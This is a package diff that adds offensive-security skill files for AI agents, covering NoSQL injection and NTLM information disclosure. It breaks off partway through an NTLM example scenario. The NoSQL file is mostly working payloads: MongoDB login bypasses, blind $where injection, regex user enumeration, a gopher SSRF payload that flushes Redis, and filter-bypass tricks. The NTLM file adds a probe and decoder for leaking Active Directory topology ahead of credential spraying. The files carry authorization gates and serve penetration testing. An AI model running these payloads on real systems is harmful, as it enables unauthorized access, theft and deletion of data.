- package/bundled-skills/web3-audit/SKILL.md +445 -0
- package/bundled-skills/web3-audit/references/details.md +224 -0
- package/bundled-skills/windows-hardening/SKILL.md +454 -0
- package/bundled-skills/windows-hardening/references/details.md +204 -0
- package/bundled-skills/windows-server/SKILL.md +318 -0
- package/bundled-skills/writing-guidelines/SKILL.md +60 -0
- package/bundled-skills/zero-trust/SKILL.md +461 -0
- package/package.json +1 -1
- package/skills_index.json +7874 -277
|
@@ -0,0 +1,210 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-nosqli
|
|
3
|
+
description: Hunt NoSQL Injection
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: hackerone_public
|
|
16
|
+
report_count: 14
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
# HUNT-NOSQLI — NoSQL Injection
|
|
33
|
+
|
|
34
|
+
## Crown Jewel Targets
|
|
35
|
+
|
|
36
|
+
NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).
|
|
37
|
+
|
|
38
|
+
**Highest-value chains:**
|
|
39
|
+
- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
|
|
40
|
+
- **$where JS injection** — if $where is enabled: blind injection → data exfil
|
|
41
|
+
- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
|
|
42
|
+
- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## Attack Surface Signals
|
|
47
|
+
|
|
48
|
+
### URL & Param Patterns
|
|
49
|
+
```
|
|
50
|
+
/api/users/login POST with JSON body
|
|
51
|
+
/api/search?q=
|
|
52
|
+
/api/find?filter=
|
|
53
|
+
/api/query?where=
|
|
54
|
+
Any endpoint accepting JSON body with username/password
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
### Stack Signals
|
|
58
|
+
| Signal | Vector |
|
|
59
|
+
|--------|--------|
|
|
60
|
+
| MongoDB error messages in response | Operator injection |
|
|
61
|
+
| mongoose / monk in JS bundles | ODM patterns |
|
|
62
|
+
| X-Powered-By: Express | Node.js + MongoDB common stack |
|
|
63
|
+
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
|
|
64
|
+
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
|
|
65
|
+
| Elasticsearch :9200 open | Script injection |
|
|
66
|
+
|
|
67
|
+
---
|
|
68
|
+
|
|
69
|
+
## Step-by-Step Hunting Methodology
|
|
70
|
+
|
|
71
|
+
### Phase 1 — Auth Bypass (MongoDB)
|
|
72
|
+
```bash
|
|
73
|
+
# Operator injection in JSON body
|
|
74
|
+
curl -s -X POST https://$TARGET/api/login \
|
|
75
|
+
-H "Content-Type: application/json" \
|
|
76
|
+
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
|
|
77
|
+
|
|
78
|
+
# Regex wildcard — match any username
|
|
79
|
+
curl -s -X POST https://$TARGET/api/login \
|
|
80
|
+
-H "Content-Type: application/json" \
|
|
81
|
+
-d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'
|
|
82
|
+
|
|
83
|
+
# ne (not equal) bypass
|
|
84
|
+
curl -s -X POST https://$TARGET/api/login \
|
|
85
|
+
-H "Content-Type: application/json" \
|
|
86
|
+
-d '{"username": "admin", "password": {"$ne": "wrong"}}'
|
|
87
|
+
|
|
88
|
+
# in array bypass
|
|
89
|
+
curl -s -X POST https://$TARGET/api/login \
|
|
90
|
+
-H "Content-Type: application/json" \
|
|
91
|
+
-d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
|
|
92
|
+
```
|
|
93
|
+
|
|
94
|
+
### Phase 2 — URL Parameter Injection
|
|
95
|
+
```bash
|
|
96
|
+
# Array notation (Express/PHP-style)
|
|
97
|
+
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
|
|
98
|
+
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"
|
|
99
|
+
|
|
100
|
+
# POST form data
|
|
101
|
+
curl "https://$TARGET/api/login" \
|
|
102
|
+
--data "username[$gt]=&password[$gt]="
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### Phase 3 — $where Blind Injection (time-based)
|
|
106
|
+
```bash
|
|
107
|
+
# Test if $where is enabled (time-based detection, 5s delay)
|
|
108
|
+
curl -s -X POST https://$TARGET/api/search \
|
|
109
|
+
-H "Content-Type: application/json" \
|
|
110
|
+
-d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
|
|
111
|
+
# If response takes 5+ seconds → $where injection confirmed
|
|
112
|
+
|
|
113
|
+
# Blind data exfil (username starts with 'a'?)
|
|
114
|
+
curl -s -X POST https://$TARGET/api/search \
|
|
115
|
+
-H "Content-Type: application/json" \
|
|
116
|
+
-d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
|
|
117
|
+
```
|
|
118
|
+
|
|
119
|
+
### Phase 3b — Syntax injection into a concatenated `$where`/query (string context)
|
|
120
|
+
When the app concatenates input into a JS `$where` STRING (`"this.name=='"+input+"'"`) instead of accepting an operator object, break the string rather than passing `$gt`/`$ne`. Fuzz first, then break:
|
|
121
|
+
```
|
|
122
|
+
fuzz: ' " ` { ; $ # any 500/behaviour change = syntax reaches the query
|
|
123
|
+
' || '1'=='1 # always-true (string-context breakout)
|
|
124
|
+
' && this.password.match(/^a/) || 'x'=='y # boolean char-exfil oracle
|
|
125
|
+
```
|
|
126
|
+
(PortSwigger: Injecting syntax into NoSQL queries.)
|
|
127
|
+
|
|
128
|
+
### Phase 4 — Data Dump via Regex
|
|
129
|
+
```bash
|
|
130
|
+
# Enumerate usernames character by character
|
|
131
|
+
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
|
|
132
|
+
RESP=$(curl -s -X POST https://$TARGET/api/users \
|
|
133
|
+
-H "Content-Type: application/json" \
|
|
134
|
+
-d "{\"username\": {\"\$regex\": \"^$c\"}}")
|
|
135
|
+
echo "$c: $(echo $RESP | wc -c)"
|
|
136
|
+
done
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
### Phase 5 — Automation
|
|
140
|
+
```bash
|
|
141
|
+
# nosqlmap
|
|
142
|
+
pip3 install nosqlmap
|
|
143
|
+
nosqlmap -u "https://$TARGET/api/login" --attack 1
|
|
144
|
+
|
|
145
|
+
# nosqlmap data extraction
|
|
146
|
+
nosqlmap -u "https://$TARGET/api/login" --attack 2
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
### Phase 6 — Redis via SSRF
|
|
150
|
+
```bash
|
|
151
|
+
# If SSRF found, probe internal Redis via gopher://
|
|
152
|
+
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"
|
|
153
|
+
|
|
154
|
+
# CONFIG SET webshell (if Redis has write access to web root)
|
|
155
|
+
# Use SLAVEOF for OOB data exfil
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## Bypass Table
|
|
161
|
+
|
|
162
|
+
| Defense | Bypass |
|
|
163
|
+
|---------|--------|
|
|
164
|
+
| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |
|
|
165
|
+
| Sanitizes `$` | Unicode: `$gt` |
|
|
166
|
+
| Blocks operator keys | Nested objects deeper in structure |
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Chain Table
|
|
171
|
+
|
|
172
|
+
| NoSQLi finding | Chain to | Impact |
|
|
173
|
+
|---------------|----------|--------|
|
|
174
|
+
| Auth bypass | Admin panel access | Full admin control |
|
|
175
|
+
| User enum via regex | Credential stuffing | Mass ATO |
|
|
176
|
+
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
|
|
177
|
+
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |
|
|
178
|
+
|
|
179
|
+
---
|
|
180
|
+
|
|
181
|
+
## Validation
|
|
182
|
+
|
|
183
|
+
✅ Auth bypass: logged in without valid credentials, received valid session token
|
|
184
|
+
✅ Data dump: returned users/documents you shouldn't have access to
|
|
185
|
+
✅ Blind injection: confirmed via time-delay (>4 seconds consistent)
|
|
186
|
+
|
|
187
|
+
**Severity:**
|
|
188
|
+
- Auth bypass as admin: Critical
|
|
189
|
+
- User collection dump: High
|
|
190
|
+
- Blind injection (no useful exfil): Medium
|
|
191
|
+
|
|
192
|
+
## When to Use
|
|
193
|
+
|
|
194
|
+
- You have explicit, written authorization to assess the target in scope, and the task matches this skill's vulnerability class or technique within a bug-bounty or penetration-test engagement.
|
|
195
|
+
- You need the recon, exploitation, or validation workflow described below — executed strictly inside the approved scope.
|
|
196
|
+
|
|
197
|
+
## Limitations
|
|
198
|
+
|
|
199
|
+
- Authorized scope only: the confirmation gate above is mandatory before any probing, exploitation, or credential-access command.
|
|
200
|
+
- Docs-only import: upstream helper scripts, commands, engine, and research assets are not bundled; reinstall tooling from the source repo when needed.
|
|
201
|
+
- Validate every finding (see `triage-validation`) before reporting; report via `report-writing`. Prefer a sandbox, disposable VM, or controlled lab.
|
|
202
|
+
|
|
203
|
+
### Example
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
# Read-only first step; confirm scope before anything active.
|
|
207
|
+
cat scope.txt # target list from the authorized engagement brief
|
|
208
|
+
```
|
|
209
|
+
|
|
210
|
+
> Adapted from [elementalsouls/Claude-BugHunter](https://github.com/elementalsouls/Claude-BugHunter) (MIT); frontmatter, When to Use/Limitations, and safety boundaries added for upstream compliance. Docs-only import: executable helpers, commands, engine, and research assets not bundled.
|
|
@@ -0,0 +1,314 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: hunt-ntlm-info
|
|
3
|
+
description: Hunt NTLM/Negotiate information disclosure on internet-reachable IIS/SharePoint/Exchange.
|
|
4
|
+
category: security
|
|
5
|
+
risk: offensive
|
|
6
|
+
source: https://github.com/elementalsouls/Claude-BugHunter
|
|
7
|
+
source_repo: elementalsouls/Claude-BugHunter
|
|
8
|
+
source_type: community
|
|
9
|
+
date_added: '2026-09-20'
|
|
10
|
+
license: MIT
|
|
11
|
+
license_source: https://github.com/elementalsouls/Claude-BugHunter/blob/main/LICENSE
|
|
12
|
+
compatibility: Requires explicit written authorization for a target scope plus the
|
|
13
|
+
relevant testing tools for this technique. Docs-only; helper scripts and commands
|
|
14
|
+
not bundled.
|
|
15
|
+
sources: github, authorized-engagement
|
|
16
|
+
report_count: 1
|
|
17
|
+
---
|
|
18
|
+
> **⚠️ AUTHORIZED USE ONLY**
|
|
19
|
+
> This skill is for educational purposes or authorized security assessments only.
|
|
20
|
+
> You must have explicit, written permission from the system owner before using this tool.
|
|
21
|
+
> Misuse of this tool is illegal and strictly prohibited.
|
|
22
|
+
|
|
23
|
+
> **Mandatory confirmation gate**
|
|
24
|
+
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
|
|
25
|
+
> 1. Ask the user to state the exact target URL, IP, account, or resource.
|
|
26
|
+
> 2. Ask the user to confirm written authorization and the permitted scope.
|
|
27
|
+
> 3. Show the exact command(s) and explain their expected effect.
|
|
28
|
+
> 4. Wait for explicit confirmation in the current conversation.
|
|
29
|
+
>
|
|
30
|
+
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.
|
|
31
|
+
|
|
32
|
+
## Crown Jewel Targets
|
|
33
|
+
|
|
34
|
+
NTLM info disclosure is a **Medium-severity finding when chained to context** — the leak itself is intentional protocol behavior (RFC-compliant NTLMSSP challenge), but on internet-exposed enterprise infrastructure it provides exact reconnaissance for the next stage of an attack. Highest-value targets:
|
|
35
|
+
|
|
36
|
+
- **Internet-reachable IIS / SharePoint / Exchange / OWA** with dual-auth (Forms + NTLM, or NTLM + Kerberos)
|
|
37
|
+
- **Citrix NetScaler / VMware Horizon View** internet-facing gateways with NTLM-backed AD auth
|
|
38
|
+
- **Lync / Skype for Business / Teams On-Prem** edge servers
|
|
39
|
+
- **WSUS / Windows Update Services** with NTLM-protected admin paths
|
|
40
|
+
- **CIFS-style fileshare proxies** (HCL Sametime, IBM Notes Domino) that proxy NTLM
|
|
41
|
+
- **Legacy SharePoint farms** that left NTLM enabled on the public-zone IIS binding
|
|
42
|
+
|
|
43
|
+
**What makes this pay:**
|
|
44
|
+
- Internal AD domain disclosure (parent-forest mapping, e.g. `customer.parent-corp.example` → tenant inside corporate-AD tree)
|
|
45
|
+
- Default-Windows-hostname disclosure (`WIN-XXXXXXXXXXX` pattern signals rushed provisioning → likely default service-account passwords)
|
|
46
|
+
- Timestamp leak (used in NTLMv2 hash cracking acceleration)
|
|
47
|
+
- Direct attack-map enrichment for credential spraying combined with `hunt-auth-bypass` Legacy-Protocol Matrix
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Attack Surface Signals
|
|
52
|
+
|
|
53
|
+
**Response headers signaling NTLM availability:**
|
|
54
|
+
```
|
|
55
|
+
WWW-Authenticate: NTLM
|
|
56
|
+
WWW-Authenticate: Negotiate
|
|
57
|
+
WWW-Authenticate: NTLM, Negotiate
|
|
58
|
+
WWW-Authenticate: Negotiate, NTLM
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**URL patterns where NTLM is commonly exposed:**
|
|
62
|
+
```
|
|
63
|
+
/_api/web/CurrentUser (SharePoint REST)
|
|
64
|
+
/_vti_bin/*.asmx (SharePoint legacy SOAP)
|
|
65
|
+
/EWS/Exchange.asmx (Exchange Web Services)
|
|
66
|
+
/Autodiscover/Autodiscover.xml (Exchange autodiscover)
|
|
67
|
+
/owa/ (Outlook Web App)
|
|
68
|
+
/Microsoft-Server-ActiveSync (ActiveSync)
|
|
69
|
+
/PowerShell (Exchange Mgmt Shell over HTTPS)
|
|
70
|
+
/api/v3/ (TeamCity, Atlassian)
|
|
71
|
+
/wsus/ (Windows Server Update Services)
|
|
72
|
+
/manager/html (some Tomcat behind IIS)
|
|
73
|
+
/iisstart.htm (default IIS, sometimes reveals NTLM upstream)
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
**Tech-stack signals:**
|
|
77
|
+
- IIS on the public internet (almost always NTLM-capable, even if Forms is the front)
|
|
78
|
+
- SharePoint Web Front End (almost always dual-auth Forms + NTLM)
|
|
79
|
+
- Exchange edge transport
|
|
80
|
+
- Server header `Microsoft-HTTPAPI/2.0`, `Microsoft-IIS/*`, `IIS/*`
|
|
81
|
+
|
|
82
|
+
---
|
|
83
|
+
|
|
84
|
+
## Step-by-Step Hunting Methodology
|
|
85
|
+
|
|
86
|
+
1. **Probe every anonymous endpoint for `WWW-Authenticate: NTLM`.** Send a vanilla GET and inspect response headers. If NTLM is offered, proceed.
|
|
87
|
+
|
|
88
|
+
2. **Send a valid NTLMSSP Type-1 message anonymously.** The Type-1 base64 below requests NetBIOS-domain and Workstation info from the server:
|
|
89
|
+
```
|
|
90
|
+
Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
|
|
91
|
+
```
|
|
92
|
+
This is the standard test Type-1 with negotiate flags `NTLMSSP_NEGOTIATE_UNICODE | NTLMSSP_NEGOTIATE_OEM | NTLMSSP_NEGOTIATE_NTLM | NTLMSSP_NEGOTIATE_ALWAYS_SIGN | NTLMSSP_NEGOTIATE_KEY_EXCH | NTLMSSP_NEGOTIATE_56 | NTLMSSP_NEGOTIATE_128 | NTLMSSP_NEGOTIATE_TARGET_INFO`. The `OS Version` field (`06 01 B1 1D 00 00 00 0F`) is Windows 7 build 7601 — accepted by virtually every NTLM responder.
|
|
93
|
+
|
|
94
|
+
3. **Use a keep-alive raw socket, not Python requests / curl one-shot.** Most HTTP libraries close the connection between the Type-1 send and Type-2 reception. Use one of:
|
|
95
|
+
- Burp Repeater with `Connection: keep-alive` set explicitly
|
|
96
|
+
- Burp `mcp__burp__send_http1_request` (handles keep-alive natively)
|
|
97
|
+
- Python raw `socket` + `ssl.wrap_socket` (see Payload section)
|
|
98
|
+
|
|
99
|
+
4. **Parse the Type-2 challenge from the `WWW-Authenticate: NTLM <base64>` response header.** Base64-decode the value. The structure is NTLMSSP per MS-NLMP:
|
|
100
|
+
- Bytes 0-7: literal `NTLMSSP\0`
|
|
101
|
+
- Bytes 8-11: MessageType = `\x02\x00\x00\x00`
|
|
102
|
+
- Bytes 12-19: TargetName SecurityBuffer (len, alloc, offset)
|
|
103
|
+
- Bytes 20-23: NegotiateFlags
|
|
104
|
+
- Bytes 24-31: Server Challenge (8 bytes — useful for offline cracking)
|
|
105
|
+
- Bytes 40-47: TargetInfo SecurityBuffer (len, alloc, offset)
|
|
106
|
+
- TargetInfo body: `AV_PAIRS` array of (AvId u16, AvLen u16, Value)
|
|
107
|
+
|
|
108
|
+
5. **Decode the AV_PAIRS.** The AvIds you care about:
|
|
109
|
+
- `1` = NetBIOS Computer Name
|
|
110
|
+
- `2` = NetBIOS Domain Name
|
|
111
|
+
- `3` = DNS Computer Name (FQDN of the responding server)
|
|
112
|
+
- `4` = DNS Domain Name (the AD domain)
|
|
113
|
+
- `5` = DNS Tree Name (the AD forest root)
|
|
114
|
+
- `7` = Timestamp (FILETIME, useful for NTLMv2 hash relay / cracking)
|
|
115
|
+
- `9` = Target Name (in newer NTLMSSP)
|
|
116
|
+
|
|
117
|
+
6. **Map findings to severity tier:**
|
|
118
|
+
- Internet-exposed + default `WIN-XXXXXXXXXXX` hostname + corporate-AD-tree disclosure → **Medium**
|
|
119
|
+
- Internet-exposed + named-server hostname (`SPWEB01.corp.example`) + corporate-AD-tree → **Low-Medium**
|
|
120
|
+
- Intranet-only + any disclosure → **Informational**
|
|
121
|
+
- Combine with `hunt-auth-bypass` Legacy-Protocol Matrix findings on the same host → **upgrade the auth-bypass finding's severity** since the attacker has UPN/SAM format ready
|
|
122
|
+
|
|
123
|
+
7. **Check the timestamp.** If `AV[7]` returns a current FILETIME within ~5s of `Date:` header, the system clock is synced — useful intel for Kerberos golden-ticket forging (out of bug-bounty scope but red-team relevant).
|
|
124
|
+
|
|
125
|
+
8. **Cross-reference with subdomain enum.** The DNS Tree name often reveals the *parent forest* — e.g. `customer.parent-corp.example` reveals the customer is a sub-domain INSIDE corporate-parent AD, not a separate tenant. This is a privacy / topology-disclosure escalation that programs sometimes accept as Medium.
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## Payload & Detection Patterns
|
|
130
|
+
|
|
131
|
+
**Generic NTLM Type-1 anonymous probe (curl + raw socket fallback):**
|
|
132
|
+
```bash
|
|
133
|
+
# Most one-shot curl runs DON'T return Type-2 because the connection closes.
|
|
134
|
+
# Use this as a quick probe to confirm NTLM is offered:
|
|
135
|
+
curl -sk -I -H "Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==" \
|
|
136
|
+
"https://target.example/_api/web/CurrentUser" 2>&1 | grep -i "WWW-Authenticate"
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
**Burp `send_http1_request` (recommended for full Type-2 capture):**
|
|
140
|
+
```
|
|
141
|
+
GET /_api/web/CurrentUser HTTP/1.1
|
|
142
|
+
Host: target.example
|
|
143
|
+
Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==
|
|
144
|
+
Connection: keep-alive
|
|
145
|
+
User-Agent: Mozilla/5.0
|
|
146
|
+
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
**Python raw socket + AV_PAIR decoder:**
|
|
150
|
+
```python
|
|
151
|
+
import socket, ssl, base64, struct, re
|
|
152
|
+
from datetime import datetime, timezone
|
|
153
|
+
|
|
154
|
+
HOST = "target.example"
|
|
155
|
+
ctx = ssl.create_default_context()
|
|
156
|
+
ctx.check_hostname = False
|
|
157
|
+
ctx.verify_mode = ssl.CERT_NONE
|
|
158
|
+
|
|
159
|
+
s = ctx.wrap_socket(socket.create_connection((HOST, 443)), server_hostname=HOST)
|
|
160
|
+
s.sendall(
|
|
161
|
+
f"GET /_api/web/CurrentUser HTTP/1.1\r\n"
|
|
162
|
+
f"Host: {HOST}\r\n"
|
|
163
|
+
"Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==\r\n"
|
|
164
|
+
"User-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n".encode()
|
|
165
|
+
)
|
|
166
|
+
data = b""
|
|
167
|
+
while True:
|
|
168
|
+
chunk = s.recv(8192)
|
|
169
|
+
if not chunk: break
|
|
170
|
+
data += chunk
|
|
171
|
+
if b"\r\n\r\n" in data: break
|
|
172
|
+
|
|
173
|
+
m = re.search(rb"WWW-Authenticate:\s*NTLM\s+([A-Za-z0-9+/=]{20,})", data, re.I)
|
|
174
|
+
if m:
|
|
175
|
+
b = base64.b64decode(m.group(1).decode("ascii"))
|
|
176
|
+
assert b[:8] == b"NTLMSSP\x00"
|
|
177
|
+
tn_len, _, tn_off = struct.unpack_from('<HHI', b, 12)
|
|
178
|
+
ti_len, _, ti_off = struct.unpack_from('<HHI', b, 40)
|
|
179
|
+
print(f"TargetName: {b[tn_off:tn_off+tn_len].decode('utf-16-le', errors='ignore')!r}")
|
|
180
|
+
av_types = {1:'NetBIOS Computer Name', 2:'NetBIOS Domain Name',
|
|
181
|
+
3:'DNS Computer Name', 4:'DNS Domain Name',
|
|
182
|
+
5:'DNS Tree Name', 7:'Timestamp', 9:'Target Name'}
|
|
183
|
+
i = 0
|
|
184
|
+
ti = b[ti_off:ti_off+ti_len]
|
|
185
|
+
while i < len(ti):
|
|
186
|
+
av_id, av_len = struct.unpack_from('<HH', ti, i)
|
|
187
|
+
if av_id == 0: break
|
|
188
|
+
val = ti[i+4:i+4+av_len]
|
|
189
|
+
if av_id == 7:
|
|
190
|
+
ts = struct.unpack('<Q', val[:8])[0]
|
|
191
|
+
secs = (ts - 116444736000000000) / 10000000
|
|
192
|
+
vs = datetime.fromtimestamp(secs, tz=timezone.utc).isoformat()
|
|
193
|
+
else:
|
|
194
|
+
vs = val.decode('utf-16-le', errors='ignore')
|
|
195
|
+
print(f" AV[{av_id}] {av_types.get(av_id, '?'):28s}: {vs!r}")
|
|
196
|
+
i += 4 + av_len
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
**Burp Collaborator NOT needed** for this finding class — the data leak is in the synchronous response, not via OOB.
|
|
200
|
+
|
|
201
|
+
---
|
|
202
|
+
|
|
203
|
+
## Common Root Causes
|
|
204
|
+
|
|
205
|
+
1. **Dual-auth IIS bindings on the public zone.** Administrators leave NTLM enabled on the public-facing IIS site even when Forms auth is the intended entry point. Internal users get SSO; external attackers get the AD topology leak.
|
|
206
|
+
|
|
207
|
+
2. **Default IIS Application Pool identity left as `ApplicationPoolIdentity`.** Combined with default hostname, signals provisioning never went past first-boot.
|
|
208
|
+
|
|
209
|
+
3. **Server never renamed from Windows-installer-generated hostname.** Microsoft's default `WIN-XXXXXXXXXXX` 11-character pattern is the immediate tell. Sometimes also `WORKGROUP\WIN-...` in older boxes.
|
|
210
|
+
|
|
211
|
+
4. **Sub-domain joined to corporate forest without zone-isolation.** European-integrator case: a a European importer's SharePoint test environment is a child domain inside a corporate global AD, disclosed via NTLM DNS Tree Name. The customer probably intends `customer.parent-corp.example` to be operationally separate but the NTLM Type-2 reveals the forest membership to anyone who probes.
|
|
212
|
+
|
|
213
|
+
5. **IIS Extended Protection NOT enabled.** When `<system.webServer><security><authentication><windowsAuthentication extendedProtection>` is `None` (the default), the NTLM challenge is sent to any anonymous client. When set to `Required`, NTLM is restricted to authenticated callers — and the AV-pair leak is mitigated.
|
|
214
|
+
|
|
215
|
+
6. **No `WindowsAuthentication` removed from `applicationHost.config` for internet-exposed sites.** SharePoint Central Admin sometimes leaves this enabled even when SP zone configuration only enables Forms.
|
|
216
|
+
|
|
217
|
+
---
|
|
218
|
+
|
|
219
|
+
## Bypass Techniques
|
|
220
|
+
|
|
221
|
+
This skill describes a disclosure leak, not an authentication bypass. The "bypass" question is: *how do defenders block this AV-pair leak while still allowing legitimate NTLM auth?*
|
|
222
|
+
|
|
223
|
+
| Defense | Effectiveness |
|
|
224
|
+
|---|---|
|
|
225
|
+
| **Disable NTLM on the public IIS binding entirely** (Forms-only) | Best — eliminates the surface |
|
|
226
|
+
| **IIS Extended Protection = Required** | Restricts NTLM challenge to authenticated callers; AV-pair leak mitigated |
|
|
227
|
+
| **Reverse-proxy strip `WWW-Authenticate` from anonymous responses** | Sometimes works but breaks legitimate clients |
|
|
228
|
+
| **Rate-limit the Type-1 → Type-2 endpoint** | Doesn't prevent disclosure, only slows enumeration |
|
|
229
|
+
| **Rename the Windows host from `WIN-XXXXXXXXXXX`** | Removes the "lazy provisioning" tell; doesn't stop the leak |
|
|
230
|
+
| **Move the SP/Exchange farm to a child AD with no cross-trust to corporate** | Mitigates the *forest disclosure*; doesn't stop the leak |
|
|
231
|
+
|
|
232
|
+
For the attacker: there's no "bypass" needed — the leak is the finding.
|
|
233
|
+
|
|
234
|
+
---
|
|
235
|
+
|
|
236
|
+
## Gate 0 Validation
|
|
237
|
+
|
|
238
|
+
Before writing the report, confirm:
|
|
239
|
+
|
|
240
|
+
1. **What can the attacker do RIGHT NOW with this disclosure?**
|
|
241
|
+
- Internet-exposed + default hostname + corporate forest disclosed → **Medium**: attacker has UPN format for `hunt-auth-bypass` matrix probes, plus knows server has likely-default service accounts.
|
|
242
|
+
- Intranet-only or only NetBIOS name → **Informational**.
|
|
243
|
+
|
|
244
|
+
2. **Does the program accept information-disclosure findings without a chained impact?**
|
|
245
|
+
- Many programs (Microsoft, large enterprise VDPs) DO accept this when the leaked info includes internal AD topology.
|
|
246
|
+
- Many programs (Shopify, GitHub) reject info disclosure without a chained impact.
|
|
247
|
+
- Read the program scope before submitting; if borderline, chain with a Tier-A finding from `hunt-auth-bypass`.
|
|
248
|
+
|
|
249
|
+
3. **Can you reproduce in <5 minutes from a fresh shell?**
|
|
250
|
+
- The Python snippet above is the canonical reproduction. Include it verbatim in the report.
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## Real Impact Examples
|
|
255
|
+
|
|
256
|
+
### Scenario A — Enterprise SharePoint inside parent corporate AD
|
|
257
|
+
|
|
258
|
+
Target: `https://target-portal.example/` — a enterprise dealer portal (test mirror) operated by a system integrator.
|
|
259
|
+
|
|
260
|
+
Sending the anonymous Type-1 message to `/_api/web/CurrentUser` returned a Type-2 challenge whose AV_PAIRS decoded to:
|
|
261
|
+
|
|
262
|
+
```
|
|
263
|
+
NetBIOS Domain Name: <CustomerName>
|
|
264
|
+
NetBIOS Computer Name: WIN-XXXXXXXXXXX
|
|
265
|
+
DNS Domain Name: customer.parent-corp.example
|
|
266
|
+
DNS Computer Name: WIN-XXXXXXXXXXX.customer.parent-corp.example
|
|
267
|
+
DNS Tree Name: customer.parent-corp.example
|
|
268
|
+
Timestamp: 2026-05-13T15:55:37.922Z
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
Three escalation paths:
|
|
272
|
+
1. **Default Windows-installer hostname (`WIN-XXXXXXXXXXX`)** — server was never renamed after OS install; strong signal of lazy provisioning. Likely default service-account passwords on the SQL backend, default WSUS config, etc.
|
|
273
|
+
2. **Sub-domain inside corporate-parent AD (`customer.parent-corp.example`)** — the customer is a child domain inside <ParentCorp>'s global Active Directory. A compromise of this test farm has potential cross-trust to corporate-parent.
|
|
274
|
+
3. **UPN format known** — combined with `hunt-auth-bypass`'s discovery of an anonymous brute-force endpoint on `/_vti_bin/Authentication.asmx`, the attacker has both the credential format (`firstname.lastname@customer.parent-corp.example` or `<CustomerName>\firstname.lastname`) and the unlimited submission endpoint.
|
|
275
|
+
|
|
276
|
+
Reported severity: **Medium**, with a note that the chain with the Authentication.asmx anonymous brute-force makes the combined attack Critical.
|
|
277
|
+
|
|
278
|
+
### Scenario B — Exchange edge with NTLM-protected EWS
|
|
279
|
+
|
|
280
|
+
